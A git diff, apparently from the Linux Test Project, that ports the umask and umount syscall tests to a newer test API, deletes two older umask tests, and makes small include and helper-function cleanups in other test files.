- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  */
-/* $Id: umask01.c,v 1.6 2009/11/02 13:57:19 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: umask01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for umask(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- *	1.) umask(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- *	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *
- *    DURATION
- *	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- *	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- *	None
- *
- *    INTERCASE DEPENDENCIES
- *	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the umask(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	umask(2).
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
+
+/*
+ * umask(2) sets the mask from 0000 to 0777 while we create files,
+ * the previous value of the mask should be returned correctly,
+ * and the file mode should be correct for each creation mask.
+ */
 
 #include <errno.h>
-#include <string.h>
-#include <signal.h>
+#include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include "test.h"
+#include "tst_test.h"
 
-void setup();
-void cleanup();
-
-char *TCID = "umask01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_umask(void)
 {
-	int lc;
+	struct stat statbuf;
+	int mskval;
+	int fd;
+	int failflag = 0;
+	unsigned low9mode;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(umask(022));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "umask(022) Failed, errno=%d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS, "umask(022) returned %ld",
-				 TEST_RETURN);
+	for (mskval = 0000; mskval < 01000; mskval++) {
+		TEST(umask(mskval));
+		if (TEST_RETURN < 0 || TEST_RETURN > 0777) {
+			tst_brk(TFAIL, "umask(%o) result outside range %ld",
+				mskval, TEST_RETURN);
 		}
+
+		if (mskval > 0000 && TEST_RETURN != mskval - 1) {
+			failflag = 1;
+			tst_res(TFAIL, "umask(%o) returned %ld, expected %d",
+				mskval, TEST_RETURN, mskval - 1);
+		}
+
+		fd = SAFE_CREAT("testfile", 0777);
+		SAFE_CLOSE(fd);
+
+		SAFE_STAT("testfile", &statbuf);
+
+		low9mode = statbuf.st_mode & 0777;
+
+		if (low9mode != (~mskval & 0777)) {
+			failflag = 1;
+			tst_res(TFAIL, "File mode got %o, expected %o",
+				low9mode, ~mskval & 0777);
+		}
+
+		SAFE_UNLINK("testfile");
 	}
-	tst_exit();
+
+	if (!failflag)
+		tst_res(TPASS, "All files created with correct mode");
 }
 
-void setup(void)
-{
-	TEST_PAUSE;
-}
+static struct tst_test test = {
+	.tid = "umask01",
+	.test_all = verify_umask,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/umask/umask02.c b/testcases/kernel/syscalls/umask/umask02.c
deleted file mode 100644
index 0ba797c..0000000
--- a/testcases/kernel/syscalls/umask/umask02.c
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	umask02.c
- *
- * DESCRIPTION
- *	Check that umask changes the mask, and that the previous
- *	value of the mask is returned correctly for each value.
- *
- * ALGORITHM
- *	For each mask value (9 bits) set mask, and check that the return
- *	corresponds to the previous value set.
- *
- * USAGE:  <for command-line>
- *	umask02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions
- *	None
- */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include "test.h"
-
-char *TCID = "umask02";
-int TST_TOTAL = 1;
-
-void setup(void);
-void cleanup(void);
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	int uret = 0, i, mskval = 0000;
-	int failcnt = 0;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	/* Check for looping state if -i option is given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (umask(++mskval), i = 1; mskval < 01000;
-		     uret = umask(++mskval), i++) {
-			if ((uret != mskval - 1) && (mskval != 0000)) {
-				failcnt = 1;
-				tst_resm(TFAIL, "umask(%d) returned bad mask "
-					 "value %d.", mskval, uret);
-			}
-		}
-		if (!failcnt)
-			tst_resm(TPASS, "All umask values return correct "
-				 "values");
-	}
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-}
diff --git a/testcases/kernel/syscalls/umask/umask03.c b/testcases/kernel/syscalls/umask/umask03.c
deleted file mode 100644
index e10009c..0000000
--- a/testcases/kernel/syscalls/umask/umask03.c
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	umask03.c
- *
- * DESCRIPTION
- *	Check that umask changes the mask, and that the previous
- *	value of the mask is returned correctly for each value.
- *
- * ALGORITHM
- *	For each mask value (9 bits) set mask, and check that the return
- *	corresponds to the previous value set.
- *
- * USAGE:  <for command-line>
- *		umask03 [-c n] [-i n] [-I x] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions
- *	None
- */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include "test.h"
-#include <sys/types.h>
-#include <sys/stat.h>
-
-char *TCID = "umask03";
-int TST_TOTAL = 1;
-
-char filname[40];
-
-void setup(void);
-void cleanup(void);
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	struct stat statbuf;
-	int mskval = 0000;
-	int failcnt = 0;
-	int fildes, i;
-	unsigned low9mode;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();		/* global setup */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (umask(mskval = 0077), i = 1; mskval < 01000;
-		     i++, umask(++mskval)) {
-			unlink(filname);
-			if ((fildes = creat(filname, 0777)) == -1) {
-				tst_resm(TBROK, "cannot create "
-					 "file with mskval 0%o %d",
-					 mskval, mskval);
-			} else {
-				if (fstat(fildes, &statbuf) != 0) {
-					tst_resm(TBROK, "cannot fstat file");
-				} else {
-					low9mode = statbuf.st_mode & 0777;
-					if (low9mode != (~mskval & 0777)) {
-						tst_resm(TFAIL,
-							 "got %o expected %o"
-							 "mask didnot take",
-							 low9mode,
-							 (~mskval & 0777));
-					}
-				}
-			}
-			close(fildes);
-		}
-		if (!failcnt)
-			tst_resm(TPASS, "umask correctly returns the "
-				 "previous value for all masks");
-	}
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -i option.
-	 * You want to make sure you do this before you create your temporary
-	 * directory.
-	 */
-	TEST_PAUSE;
-
-	/* make temp dir and cd to it */
-	tst_tmpdir();
-
-	sprintf(filname, "umask2.%d", getpid());
-}
-
-/*
- * cleanup
- *	performs all ONE TIME cleanup for this test at completion or
- *	premature exit
- */
-void cleanup(void)
-{
-
-	/*
-	 * cleanup the temporary files and the temporary directory
-	 */
-	unlink(filname);
-	tst_rmdir();
-
-	/*
-	 * exit with return code appropriate for results
-	 */
-
-}
diff --git a/testcases/kernel/syscalls/umount/umount01.c b/testcases/kernel/syscalls/umount/umount01.c
index 4597651..3b5aeb9 100644
--- a/testcases/kernel/syscalls/umount/umount01.c
+++ b/testcases/kernel/syscalls/umount/umount01.c
@@ -22,92 +22,54 @@
 
 #include <errno.h>
 #include <sys/mount.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include "test.h"
+#include "tst_test.h"
 
-static void setup(void);
-static void cleanup(void);
+#define MNTPOINT	"mntpoint"
 
-char *TCID = "umount01";
-int TST_TOTAL = 1;
+static int mount_flag;
 
-#define DEFAULT_FSTYPE	"ext2"
-#define DIR_MODE	S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH
-
-static const char *mntpoint = "mntpoint";
-static const char *fs_type;
-static const char *device;
-
-int main(int ac, char **av)
+static void verify_umount(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(mount(device, mntpoint, fs_type, 0, NULL));
-
-		if (TEST_RETURN != 0) {
-			tst_brkm(TBROK, cleanup, "mount(2) Failed errno = %d :"
-				 "%s ", TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			TEST(umount(mntpoint));
-
-			if (TEST_RETURN != 0 && TEST_ERRNO == EBUSY) {
-				tst_resm(TINFO, "umount() failed with EBUSY "
-				         "possibly some daemon (gvfsd-trash) "
-				         "is probing newly mounted dirs");
-			}
-
-			if (TEST_RETURN != 0) {
-				tst_brkm(TFAIL, NULL, "umount(2) Failed while "
-					 " unmounting %s errno = %d : %s",
-					 mntpoint, TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TPASS, "umount(2) Passed ");
-			}
-		}
+	if (mount_flag != 1) {
+		SAFE_MOUNT(tst_device->dev, MNTPOINT,
+			tst_device->fs_type, 0, NULL);
+		mount_flag = 1;
 	}
 
-	cleanup();
-	tst_exit();
+	TEST(umount(MNTPOINT));
+
+	if (TEST_RETURN != 0 && TEST_ERRNO == EBUSY) {
+		tst_res(TINFO, "umount() Failed with EBUSY "
+			"possibly some daemon (gvfsd-trash) "
+			"is probing newly mounted dirs");
+	}
+
+	if (TEST_RETURN != 0) {
+		tst_res(TFAIL | TTERRNO, "umount() Failed");
+		return;
+	}
+
+	tst_res(TPASS, "umount() Passed");
+	mount_flag = 0;
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
-	if (mkdir(mntpoint, DIR_MODE) < 0) {
-		tst_brkm(TBROK, cleanup, "mkdir(%s, %#o) failed; "
-			 "errno = %d: %s", mntpoint, DIR_MODE, errno,
-			 strerror(errno));
-	}
-
-	TEST_PAUSE;
+	SAFE_MKDIR(MNTPOINT, 0775);
 }
 
 static void cleanup(void)
 {
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
+	if (mount_flag)
+		tst_umount(MNTPOINT);
 }
+
+static struct tst_test test = {
+	.tid = "umount01",
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.format_device = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_umount,
+};
diff --git a/testcases/kernel/syscalls/umount/umount02.c b/testcases/kernel/syscalls/umount/umount02.c
index 7d469fd..690ba5f 100644
--- a/testcases/kernel/syscalls/umount/umount02.c
+++ b/testcases/kernel/syscalls/umount/umount02.c
@@ -29,119 +29,76 @@
  *****************************************************************************/
 
 #include <errno.h>
+#include <string.h>
 #include <sys/mount.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/fcntl.h>
-#include <pwd.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
-
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "umount02";
-
-#define DIR_MODE	S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH
-#define FILE_MODE	S_IRWXU | S_IRWXG | S_IRWXO
-#define MNTPOINT        "mntpoint"
+#define MNTPOINT	"mntpoint"
 
 static char long_path[PATH_MAX + 2];
 static int mount_flag;
 static int fd;
 
-static const char *device;
-
-static struct test_case_t {
-	char *err_desc;
-	char *mntpoint;
+static struct tcase {
+	const char *err_desc;
+	const char *mntpoint;
 	int exp_errno;
-	char *exp_retval;
-} testcases[] = {
-	{"Already mounted/busy", MNTPOINT, EBUSY, "EBUSY"},
-	{"Invalid address space", NULL, EFAULT, "EFAULT"},
-	{"Directory not found", "nonexistent", ENOENT, "ENOENT"},
-	{"Invalid  device", "./", EINVAL, "EINVAL"},
-	{"Pathname too long", long_path, ENAMETOOLONG, "ENAMETOOLONG"}
+} tcases[] = {
+	{"Already mounted/busy", MNTPOINT, EBUSY},
+	{"Invalid address", NULL, EFAULT},
+	{"Directory not found", "nonexistent", ENOENT},
+	{"Invalid  device", "./", EINVAL},
+	{"Pathname too long", long_path, ENAMETOOLONG}
 };
 
-int TST_TOTAL = ARRAY_SIZE(testcases);
-
-int main(int ac, char **av)
+static void verify_umount(unsigned int n)
 {
-	int lc, i;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(umount(tc->mntpoint));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-			TEST(umount(testcases[i].mntpoint));
-
-			if ((TEST_RETURN == -1) &&
-			    (TEST_ERRNO == testcases[i].exp_errno)) {
-				tst_resm(TPASS, "umount(2) expected failure; "
-					 "Got errno - %s : %s",
-					 testcases[i].exp_retval,
-					 testcases[i].err_desc);
-			} else {
-				tst_resm(TFAIL, "umount(2) failed to produce "
-					 "expected error; %d, errno:%s got %d",
-					 testcases[i].exp_errno,
-					 testcases[i].exp_retval, TEST_ERRNO);
-			}
-		}
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "umount() succeeds unexpectedly");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (tc->exp_errno != TEST_ERRNO) {
+		tst_res(TFAIL | TTERRNO, "umount() should fail with %s",
+			tst_strerrno(tc->exp_errno));
+		return;
+	}
+
+	tst_res(TPASS | TTERRNO, "umount() fails as expected: %s",
+		tc->err_desc);
 }
 
 static void setup(void)
 {
-	const char *fs_type;
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
 	memset(long_path, 'a', PATH_MAX + 1);
 
-	SAFE_MKDIR(cleanup, MNTPOINT, DIR_MODE);
-
-	if (mount(device, MNTPOINT, fs_type, 0, NULL))
-		tst_brkm(TBROK | TERRNO, cleanup, "mount() failed");
+	SAFE_MKDIR(MNTPOINT, 0775);
+	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL);
 	mount_flag = 1;
 
-	fd = SAFE_OPEN(cleanup, MNTPOINT "/file", O_CREAT | O_RDWR);
-
-	TEST_PAUSE;
+	fd = SAFE_CREAT(MNTPOINT "/file", 0777);
 }
 
 static void cleanup(void)
 {
-	if (fd > 0 && close(fd))
-		tst_resm(TWARN | TERRNO, "Failed to close file");
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 
-	if (mount_flag && tst_umount(MNTPOINT))
-		tst_resm(TWARN | TERRNO, "umount() failed");
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
+	if (mount_flag)
+		tst_umount(MNTPOINT);
 }
+
+static struct tst_test test = {
+	.tid = "umount02",
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.format_device = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_umount,
+};
diff --git a/testcases/kernel/syscalls/umount/umount03.c b/testcases/kernel/syscalls/umount/umount03.c
index 322005e..c1bcb05 100644
--- a/testcases/kernel/syscalls/umount/umount03.c
+++ b/testcases/kernel/syscalls/umount/umount03.c
@@ -18,109 +18,63 @@
  *    DESCRIPTION
  *	Verify that umount(2) returns -1 and sets errno to  EPERM if the user
  *	is not the super-user.
- *
- * RESTRICTIONS
- *	test must be run with the -D option
- *	test doesn't support -c option to run it in parallel, as mount
- *	syscall is not supposed to run in parallel.
  */
 
 #include <errno.h>
+#include <pwd.h>
 #include <sys/mount.h>
 #include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/fcntl.h>
-#include <sys/wait.h>
-#include <pwd.h>
+#include <unistd.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
-
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "umount03";
-
-#define FSTYPE_LEN	20
-#define DIR_MODE	S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH
 #define MNTPOINT	"mntpoint"
 
-static const char *device;
 static int mount_flag;
 
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_umount(void)
 {
-	int lc;
+	TEST(umount(MNTPOINT));
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(umount(MNTPOINT));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "umout() didn't fail (ret=%ld)",
-				 TEST_RETURN);
-			continue;
-		}
-
-		if (TEST_ERRNO == EPERM) {
-			tst_resm(TPASS | TTERRNO, "umount() failed with EPERM");
-		} else {
-			tst_resm(TFAIL | TTERRNO,
-			         "umount() did not fail with EPERM(%d)", EPERM);
-		}
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "umount() succeeds unexpectedly");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TEST_ERRNO != EPERM) {
+		tst_res(TFAIL | TTERRNO, "umount() should fail with EPERM");
+		return;
+	}
+
+	tst_res(TPASS | TTERRNO, "umount() fails as expected");
 }
 
 static void setup(void)
 {
-	const char *fs_type;
-	struct passwd *ltpuser;
+	struct passwd *pw;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	ltpuser = SAFE_GETPWNAM(NULL, "nobody");
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
-	SAFE_MKDIR(cleanup, MNTPOINT, DIR_MODE);
-
-	if (mount(device, MNTPOINT, fs_type, 0, NULL))
-		tst_brkm(TBROK | TERRNO, cleanup, "mount() failed");
+	SAFE_MKDIR(MNTPOINT, 0775);
+	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL);
 	mount_flag = 1;
 
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
-	TEST_PAUSE;
+	pw = SAFE_GETPWNAM("nobody");
+	SAFE_SETEUID(pw->pw_uid);
 }
 
 static void cleanup(void)
 {
 	if (seteuid(0))
-		tst_resm(TWARN | TERRNO, "seteuid(0) failed");
+		tst_res(TWARN | TERRNO, "seteuid(0) Failed");
 
-	if (mount_flag && tst_umount(MNTPOINT))
-		tst_resm(TWARN | TERRNO, "umount() failed");
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
+	if (mount_flag)
+		tst_umount(MNTPOINT);
 }
+
+static struct tst_test test = {
+	.tid = "umount03",
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.format_device = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_umount,
+};
diff --git a/testcases/kernel/syscalls/unlink/unlink05.c b/testcases/kernel/syscalls/unlink/unlink05.c
index f0be94c..aa49316 100644
--- a/testcases/kernel/syscalls/unlink/unlink05.c
+++ b/testcases/kernel/syscalls/unlink/unlink05.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/unlink/unlink06.c b/testcases/kernel/syscalls/unlink/unlink06.c
index 174794d..2f96012 100644
--- a/testcases/kernel/syscalls/unlink/unlink06.c
+++ b/testcases/kernel/syscalls/unlink/unlink06.c
@@ -111,7 +111,7 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/unlink/unlink07.c b/testcases/kernel/syscalls/unlink/unlink07.c
index d5ce6a3..66e4db8 100644
--- a/testcases/kernel/syscalls/unlink/unlink07.c
+++ b/testcases/kernel/syscalls/unlink/unlink07.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <sys/mman.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/unlink/unlink08.c b/testcases/kernel/syscalls/unlink/unlink08.c
index 8539d6a..8e471e2 100644
--- a/testcases/kernel/syscalls/unlink/unlink08.c
+++ b/testcases/kernel/syscalls/unlink/unlink08.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/unlinkat/unlinkat01.c b/testcases/kernel/syscalls/unlinkat/unlinkat01.c
index 5559650..cfc9c4d 100644
--- a/testcases/kernel/syscalls/unlinkat/unlinkat01.c
+++ b/testcases/kernel/syscalls/unlinkat/unlinkat01.c
@@ -29,7 +29,6 @@
 #include <sys/stat.h>
 #include <sys/time.h>
 #include <fcntl.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/unshare/unshare02.c b/testcases/kernel/syscalls/unshare/unshare02.c
index d3e303e..9221f92 100644
--- a/testcases/kernel/syscalls/unshare/unshare02.c
+++ b/testcases/kernel/syscalls/unshare/unshare02.c
@@ -38,6 +38,8 @@
 /*	      Manas Kumar Nayak maknayak@in.ibm.com>			*/
 /******************************************************************************/
 
+#define _GNU_SOURCE
+
 #include <stdio.h>
 #include <sys/wait.h>
 #include <sys/types.h>
diff --git a/testcases/kernel/syscalls/utils/common_j_h.c b/testcases/kernel/syscalls/utils/common_j_h.c
index 43165ca..dbdbc11 100644
--- a/testcases/kernel/syscalls/utils/common_j_h.c
+++ b/testcases/kernel/syscalls/utils/common_j_h.c
@@ -227,113 +227,6 @@
 	return 0;
 }
 
-/*
- * Change user limit that the calling process can open
- */
-int setup_ulimit_fnum(rlim_t newlim, rlim_t * oldlim)
-{
-	int rc;
-	struct rlimit rlim;
-
-	rc = getrlimit(RLIMIT_NOFILE, &rlim);
-	if (rc < 0) {
-		EPRINTF("getrlimit failed.\n");
-		return -1;
-	}
-	*oldlim = rlim.rlim_cur;
-	if (newlim > rlim.rlim_max) {
-		EPRINTF("can't set ulimit value: %ld.\n", newlim);
-		return -1;
-	}
-	rlim.rlim_cur = newlim;
-	rc = setrlimit(RLIMIT_NOFILE, &rlim);
-	if (rc < 0) {
-		EPRINTF("setrlimit failed.\n");
-		return -1;
-	}
-	return 0;
-}
-
-int cleanup_ulimit_fnum(rlim_t oldlim)
-{
-	int rc;
-	struct rlimit rlim;
-
-	rc = getrlimit(RLIMIT_NOFILE, &rlim);
-	if (rc < 0) {
-		EPRINTF("getrlimit failed.\n");
-		return -1;
-	}
-	if (oldlim > rlim.rlim_max) {
-		EPRINTF("can't set ulimit value: %ld.\n", oldlim);
-		return -1;
-	}
-	rlim.rlim_cur = oldlim;
-	rc = setrlimit(RLIMIT_NOFILE, &rlim);
-	if (rc < 0) {
-		EPRINTF("setrlimit failed.\n");
-		return -1;
-	}
-	return 0;
-}
-
-/*
- * Change /proc or /sys setting
- */
-int setup_proc_fs(char *path, int newval, int *oldval)
-{
-	int fd = -1, rc, len;
-	char buf[32];
-
-	fd = open(path, O_RDWR);
-	if (fd < 0) {
-		EPRINTF("open %s failed.\n", path);
-		return -1;
-	}
-
-	do {
-		rc = read(fd, buf, 32);
-	} while (rc < 0 && errno == EAGAIN);
-	if (rc < 0) {
-		EPRINTF("read failed.\n");
-		close(fd);
-		return -1;
-	}
-
-	*oldval = atoi(buf);
-	sprintf(buf, "%d\n", newval);
-	len = strlen(buf);
-	rc = write(fd, buf, len);
-	close(fd);
-	if (rc != len) {
-		EPRINTF("write failed.\n");
-		return -1;
-	}
-	return 0;
-}
-
-int cleanup_proc_fs(char *path, int oldval)
-{
-	int fd = -1, rc, len;
-	char buf[32];
-
-	fd = open(path, O_RDWR);
-	if (fd < 0) {
-		EPRINTF("open %s failed.\n", path);
-		return -1;
-	}
-
-	sprintf(buf, "%d\n", oldval);
-	len = strlen(buf);
-	rc = write(fd, buf, len);
-	close(fd);
-	if (rc != len) {
-		EPRINTF("write failed.\n");
-		return -1;
-	}
-	return 0;
-}
-
 #if 0
 /*
  * Check max nodes from /sys/devices/system/node/node* files (for NUMA)
diff --git a/testcases/kernel/syscalls/utils/compat_16.h b/testcases/kernel/syscalls/utils/compat_16.h
index 7f32baa..df045b2 100644
--- a/testcases/kernel/syscalls/utils/compat_16.h
+++ b/testcases/kernel/syscalls/utils/compat_16.h
@@ -24,7 +24,7 @@
 
 #include <errno.h>
 #include <grp.h>
-#ifdef __GLIBC__
+#if defined(__GLIBC__) || defined(__ANDROID__)
 #include <sys/fsuid.h>
 #endif
 #include <sys/types.h>
